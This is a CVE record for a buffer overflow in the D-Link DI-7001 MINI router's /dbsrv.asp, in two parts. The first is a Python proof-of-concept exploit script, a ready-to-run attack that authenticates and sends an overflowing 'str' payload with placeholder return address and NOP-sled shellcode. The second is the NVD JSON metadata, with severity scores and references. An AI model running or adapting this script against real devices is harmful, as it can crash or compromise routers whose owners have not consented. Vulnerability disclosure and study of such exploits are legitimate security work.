CVE-2025-11408

# CVE-2025-11408 - D-Link DI-7001 MINI Buffer Overflow PoC # Vulnerability: Buffer overflow in /dbsrv.asp via 'str' parameter # Affected: D-Link DI-7001 MINI firmware 24.04.18B1 import requests import sys TARGET_URL = "http://<target_ip>/dbsrv.asp" USERNAME = "admin" PASSWORD = "password" def exploit(target, username, password): """ Exploit buffer overflow in D-Link DI-7001 MINI /dbsrv.asp The 'str' parameter is vulnerable to buffer overflow. """ session = requests.Session() # Step 1: Authenticate to obtain low-privilege session login_url = f"http://{target}/login.asp" login_data = { "username": username, "password": password } try: session.post(login_url, data=login_data, timeout=10) except Exception as e: print(f"[+] Authentication phase: {e}") # Step 2: Craft buffer overflow payload for 'str' parameter # The overflow payload overwrites return address with controlled data padding = b"A" * 256 # Adjust offset based on buffer size ret_address = b"\x41\x41\x41\x41" # Controlled return address placeholder shellcode = b"\x90" * 100 # NOP sled + shellcode placeholder payload = padding + ret_address + shellcode # Step 3: Send malicious request to trigger overflow headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "str": payload.decode('latin-1') } try: response = session.post( f"http://{target}/dbsrv.asp", data=data, headers=headers, timeout=10 ) print(f"[+] Payload sent. Status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target may have crashed - possible successful overflow") except Exception as e: print(f"[+] Exploit result: {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL exploit(target, USERNAME, PASSWORD)

{"cve": {"id": "CVE-2025-11408", "sourceIdentifier": "[email protected]", "published": "2025-10-07T21:15:37.480", "lastModified": "2025-11-19T20:30:10.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in D-Link DI-7001 MINI 24.04.18B1. The affected element is an unknown function of the file /dbsrv.asp. Such manipulation of the argument str leads to buffer overflow. The attack may be launched remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:di-7001mini-8g_firmware:24.04.18b1:*:*:*:*:*:*:*", "matchCriteriaId": "98F1181A-9265-4808-9983-8BF8B769D277"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:di-7001mini-8g:b1:*:*:*:*:*:*:*", "matchCriteriaId": "B6AFB9DF-DE81-4481-8D9A-0BA4B76AD606"}]}]}], "references": [{"url": "https://github.com/DavCloudz/cve/issues/5", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.327345", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327345", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665474", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.dlink.com/", "source": "[email protected]", "tags": ["Product"]}]}}